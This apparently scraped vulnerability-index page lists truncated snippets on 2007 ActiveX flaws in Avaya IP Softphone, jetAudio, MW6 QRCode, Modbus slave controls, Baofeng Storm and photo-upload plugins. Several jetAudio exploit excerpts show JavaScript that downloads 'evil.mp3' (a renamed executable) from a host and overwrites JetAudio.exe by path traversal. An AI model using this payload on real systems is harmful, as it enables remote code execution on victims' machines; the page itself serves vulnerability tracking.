CVE-2007-3286

CVE-2007-3286 affects Avaya IP Softphone (R5.2 before SP3 and R6.0). The root cause is multiple buffer overflows in unspecified ActiveX controls within COM objects, allowing remote attackers to execute arbitrary code via unspecified vectors. The available documents do not specify affected version...

CVE-2007-4827

CVE-2007-4827 affects Automated Solutions Modbus Slave ActiveX Control (MiniHMI.exe) and its Modbus/TCP Diagnostic function. The vulnerability occurs when processing malformed Modbus requests to TCP port 502, causing heap corruption and potentially arbitrary code execution. The issue is remote an...

CVE-2007-3286

Multiple buffer overflows in unspecified ActiveX controls in COM objects in Avaya IP Softphone R5.2 before SP3, and R6.0, allow remote attackers to execute arbitrary code via unspecified vectors...

jetAudio 7.x - ActiveX DownloadFromMusicStore() Code Execution

jetAudio 7.x - ActiveX DownloadFromMusicStore Code Execution Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst =...

TPTI-07-15: Automated Solutions Modbus TCP Slave ActiveX Control Heap Corruption Vulnerability

TPTI-07-15: Automated Solutions Modbus TCP Slave ActiveX Control Heap Corruption Vulnerability http://www.zerodayinitiative.com/advisories/TPTI-07-15.html September 17, 2007 -- CVE ID: CVE-2007-4827 -- Affected Vendor: Automated Solutions -- Affected Products: Modbus RTU/ASCII/TCP Slave ActiveX...

jetAudio 7.x - ActiveX 'DownloadFromMusicStore()' Code Execution

Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst = "..\..\..\..\..\..\..\..\Program Files\JetAudio\JetAudio.exe"; var title = "0day"; var...

jetAudio 7.x ActiveX DownloadFromMusicStore() Code Execution Exploit

No description provided by source. HTML !-- jetAudio 7.x ActiveX DownloadFromMusicStore 0day Remote Code Execution Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- object id="obj"...

MW6 Technologies QRCode ActiveX 3.0 Remote File Overwrite Exploit

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"body bgcolor="E0E0E0"----------------------------------------------------------------------------- bMW6 Technologies QRCode ActiveX 3.0 MW6QRCode.dll Remote File Overwrite/b url:...

Automated Solutions Modbus TCP Slave ActiveX memory corruption

Memory corruption on TCP/502 request handling...

jetAudio 7.x ActiveX DownloadFromMusicStore() Code Execution Exploit

Exploit for unknown platform in category remote exploits ==================================================================== jetAudio 7.x ActiveX DownloadFromMusicStore Code Execution Exploit ==================================================================== Tested on:.. - jetAudio 7.0.3 Basic...

CVE-2007-0326

Multiple stack-based buffer overflows in the PhotoChannel Networks PNI Digital Media Photo Upload Plugin ActiveX control before 2.0.0.10, as used by multiple retailers, allow remote attackers to execute arbitrary code via unspecified vectors...

CVE-2007-0326

The CVE-2007-0326 entry concerns the PhotoChannel Networks Photo Upload Plugin ActiveX control. Affected software: Photo Upload Plugin ActiveX before version 2.0.0.10. Root cause: multiple stack-based buffer overflows in the ActiveX control could allow a remote, unauthenticated attacker to execut...

Buffer overflow

Multiple buffer overflows in a certain ActiveX control in sparser.dll in Baofeng Storm 2.8 and earlier allow remote attackers to execute arbitrary code via malformed input in an unknown set of arguments or property values, a different DLL than CVE-2007-4816. NOTE: the provenance of this informati...

CVE-2007-4943

Multiple buffer overflows in a certain ActiveX control in sparser.dll in Baofeng Storm 2.8 and earlier allow remote attackers to execute arbitrary code via malformed input in an unknown set of arguments or property values, a different DLL than CVE-2007-4816. NOTE: the provenance of this informati...

CVE-2007-4943

Multiple buffer overflows in a certain ActiveX control in sparser.dll in Baofeng Storm 2.8 and earlier allow remote attackers to execute arbitrary code via malformed input in an unknown set of arguments or property values, a different DLL than CVE-2007-4816. NOTE: the provenance of this informati...

CVE-2007-4943

Technical details for CVE-2007-4943 are not publicly available in the provided documents. Monitor for updates from official advisories.

MW6 Technologies QRCode ActiveX 3.0 - Remote File Overwrite

MW6 Technologies QRCode ActiveX 3.0 - Remote File Overwrite ----------------------------------------------------------------------------- MW6 Technologies QRCode ActiveX 3.0 MW6QRCode.dll Remote File Overwrite url: www.mw6tech.com Author: shinnai mail: shinnaiatautisticidotorg site:...

MW6 Technologies QRCode ActiveX 3.0 Remote File Overwrite Exploit

Exploit for unknown platform in category remote exploits ================================================================= MW6 Technologies QRCode ActiveX 3.0 Remote File Overwrite Exploit =================================================================...

Intuit QuickBooks Online Edition < 10 ActiveX Multiple Vulnerabilities

The remote host contains an Active control associated with QuickBooks Online Edition, a variant of Intuit QuickBooks implemented as an ActiveX control. The version of this control on the remote host reportedly is affected by multiple and as-yet unspecified stack-based buffer overflows that could...

Photo Upload Plugin ActiveX Multiple Buffer Overflows

The remote host contains the PhotoChannel Networks Photo Upload Plugin ActiveX control, which is used by multiple retailers for uploading photographs to photo centers. The version of this control installed on the remote host reportedly contains multiple and as-yet unspecified overflows that could...